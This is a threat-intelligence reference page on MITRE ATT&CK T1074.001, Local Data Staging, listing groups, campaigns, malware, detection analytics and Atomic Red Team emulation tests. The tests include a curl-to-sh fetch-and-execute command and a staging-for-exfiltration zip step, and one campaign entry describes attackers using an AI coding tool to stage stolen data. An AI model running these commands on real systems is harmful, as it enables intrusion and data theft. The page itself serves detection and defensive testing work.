tfMITRE ATT&CK sub-technique

Local Data Staging T1074.001

Tactic: Collection
Platforms: ESXi, Linux, macOS, Windows
Version: 1.2
Created: 13 March 2020
Last modified: 12 May 2026
Contributor: Massimiliano Romano, BT Security

Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 6%

Threat groups94th percentile · 94% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 2%

Campaigns98th percentile · 98% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 4%

Tools & malware96th percentile · 96% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rules64th pct

Detection rules64th percentile · 64% of ATT&CK techniques have this many detection rules written or fewer.

Local Data Staging MITRE reference T1074.001

Top 6%of all ATT&CK techniques for number of groups

28 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

UNC3886G1048 ↗

Has staged captured credentials in var/log/ldapd<unique_keyword>.2.gz.1

created 2025-05-291 reference

Storm-1811G1046 ↗

Has locally staged captured credentials for subsequent manual exfiltration.1

created 2025-03-141 reference

AgriusG1030 ↗

Has used the folder, C:\\windows\\temp\\s\\, to stage data for exfiltration.1

created 2024-05-211 referenceaka Pink Sandstorm

APT5G1023 ↗

Has staged data on compromised systems prior to exfiltration often in C:\Users\Public.1

created 2024-02-051 referenceaka Mulberry Typhoon

Volt TyphoonG1017 ↗

Has saved stolen files including the ntds.dit database and the SYSTEM and SECURITY Registry hives locally to the C:\Windows\Temp\ directory.1 2

created 2023-07-272 referencesaka BRONZE SILHOUETTE

FIN13G1016 ↗

Has utilized the following temporary folders on compromised Windows and Linux systems for their operations prior to exfiltration: C:\Windows\Temp and /tmp.1 2

created 2023-07-272 referencesaka Elephant Beetle

All 28 groups for this technique · 6 newest in this preview

13 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.

Anthropic AI-orchestrated CampaignC0062 ↗

During the Anthropic AI-orchestrated Campaign, the adversary used Claude Code to stage extracted data and operational documentation in structured markdown files on local systems prior to exfiltration.1

2025

SharePoint ToolShell ExploitationC0058 ↗

During SharePoint ToolShell Exploitation, threat actors staged stolen data from web.config files to debug_dev.js.1 2

2025

2025 Poland Wiper AttacksC0063 ↗

During the 2025 Poland Wiper Attacks, the adversaries compiled discovery data locally on the victim host in a file located within C:\Windows\TEMP\outlog.txt.1

2025

Operation MidnightEclipseC0048 ↗

During Operation MidnightEclipse, threat actors copied files to the web application folder on compromised devices for exfiltration.1

2024

APT41 DUSTC0040 ↗

Involved exporting data from Oracle databases to local CSV files prior to exfiltration.1

2023–2024

Leviathan Australian IntrusionsC0049 ↗

Leviathan stored captured credential material on local log files on victim systems during Leviathan Australian Intrusions.1

2022

All 13 campaigns for this technique · 6 newest in this preview

95 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

TeamPCP Cloud StealerS9041 ↗

Has created a staging file in /tmp for collected data.1

created 2026-07-01MALWAREcarried by 1 group

LP-NotesS9036 ↗

Has stored collected credentials in C:\Users\Public\Downloads\lp-notes.txt.1

created 2026-04-21MALWAREcarried by 1 group

LAMEHUGS9035 ↗

Can save collected data and files of interest in C:\ProgramData\info\ to consolidate for exfiltration.1 2

created 2026-04-21MALWAREcarried by 1 group

MirrorStealerS9022 ↗

Has stored stolen credentials on the local machine in %TEMP%\31558.txt.1

created 2026-04-17MALWAREcarried by 1 group

LODEINFOS9020 ↗

Has collected stolen web cookies locally in the %TEMP% folder.1

created 2026-04-17MALWAREcarried by 1 group

DRYHOOKS9013 ↗

Has stored stolen credentials for future use in the temp folder of a victimized Ivanti Connect Secure VPN device, specifically in the file location /tmp/cmmmap.kumMW.1 2

created 2026-04-14MALWARE

All 95 software entries for this technique · 6 newest in this preview

Offense vs defense T1074.001

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 12Sigma rules (cumulative) · 4Splunk ESCU (cumulative) · 1

first rule: 2021 Q3 · 12 of 13 campaigns plotted (C0032 (dated 2014) falls before the 2018 window)

Local Data Staging detection strategy DET0261

MITRE names one behaviour worth catching for this technique and breaks it into 4 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection of Local Data Staging Prior to Exfiltration

Enterprise

4 platforms

AN0724 · Windows

Detects file reads across locations followed by writes to temp or staging directories, often compressed or encrypted, indicating local staging behavior.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
File CreationDC0039	WinEventLog:Sysmon	EventCode=11
File AccessDC0055	WinEventLog:Security	EventCode=4663, 4670, 4656

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
StagingDirList	Paths such as C:\Temp, C:\Windows\Tasks, etc.
ArchivingToolPatterns	Matches to 7z.exe, rar.exe, zip.exe, or custom scripts.
TimeWindow	How long to correlate file reads followed by compression.

AN0725 · Linux

Detects aggregation of files from different directories into /tmp, /mnt, or user-specified directories with archiving tools like tar or gzip.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	auditd:SYSCALL	execve
File AccessDC0055	auditd:SYSCALL	open

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
StagingDirs	e.g., /tmp, /var/tmp, custom user dirs
ArchiveUtilities	tar, gzip, zip, 7z
UserThreshold	Number of files or size written in short time

AN0726 · macOS

Detects staged data aggregated in /Users/Shared, /private/tmp with compression tools like ditto or zip, initiated via Terminal or AppleScript.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	macos:unifiedlog	exec logs
File AccessDC0055	macos:unifiedlog	file events

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
StagingTargets	Shared dirs commonly abused for local collection
CompressionBinaries	zip, tar, ditto
TimeWindow	Seconds/minutes between source file read and output staging write

AN0727 · ESXi

Detects local staging behavior via snapshot creation or files written into VMFS partitions by scripts or unauthorized shell access.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Snapshot CreationDC0057	esxi:vmkernel	snapshot create/write events
Command ExecutionDC0064	esxi:shell	CLI usage logs

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
SnapshotThreshold	Rapid creation or deletion of snapshots
CLIInvoker	Unexpected CLI/script invocation outside maintenance windows
VMFSWriteRate	Volume of data written locally in short time

Tests3ExecutorsPowerShell 2 · sh 1Need elevation0 of 3Have prerequisites1Have cleanup3Platformswindows, linux, macos

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Stage data from Discovery.bat

windows

PowerShell

—

Yes

Utilize powershell to download discovery.bat and save to a local file. This emulates an attacker downloading data collection tools onto the host. Upon execution, verify that the file is saved in the temp directory.

Input arguments

Name	Type	Default	Description
output_file	path	$env:TEMP\discovery.bat	Location to save downloaded discovery.bat file

Attack command

Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.bat" -OutFile #{output_file}

Cleanup command

Remove-Item -Force #{output_file} -ErrorAction Ignore

GUIDd3672a5d-fef2-4d6b-a658-bb6b3fb0b088

Stage data from Discovery.sh

linux, macos

—

Yes

Utilize curl to download discovery.sh and execute a basic information gathering shell script

Input arguments

Name	Type	Default	Description
output_file	path	/tmp/T1074.001_discovery.log	Location to save downloaded discovery.bat file

Attack command

curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.sh | sh -s > #{output_file}

Cleanup command

rm #{output_file}

Prerequisite

Check if curl is installed on the machine.

Check

if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi

Satisfy

which apt && apt update && apt install -y curl || which pkg && pkg update && pkg install -y curl

GUID14459157-4af5-4350-b1d8-a53da971fe37

Zip a Folder with PowerShell for Staging in Temp

windows

PowerShell

—

Yes

Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder_to_zip.zip was placed in the temp directory.

Input arguments

Name	Type	Default	Description
input_file	path	PathToAtomicsFolder\T1074.001\bin\Folder_to_zip	Location of file or folder to zip
output_file	path	$env:TEMP\Folder_to_zip.zip	Location to save zipped file or folder

Attack command

Compress-Archive -Path "#{input_file}" -DestinationPath #{output_file} -Force

Cleanup command

Remove-Item -Path #{output_file} -ErrorAction Ignore

GUID5c09a0a7-f6d0-4a77-9b0b-1711a76f4251

Tests from Atomic Red Team (MIT licence) · technique definition

Local Data Staging detections T1074.001

5 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

64th pctamong all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs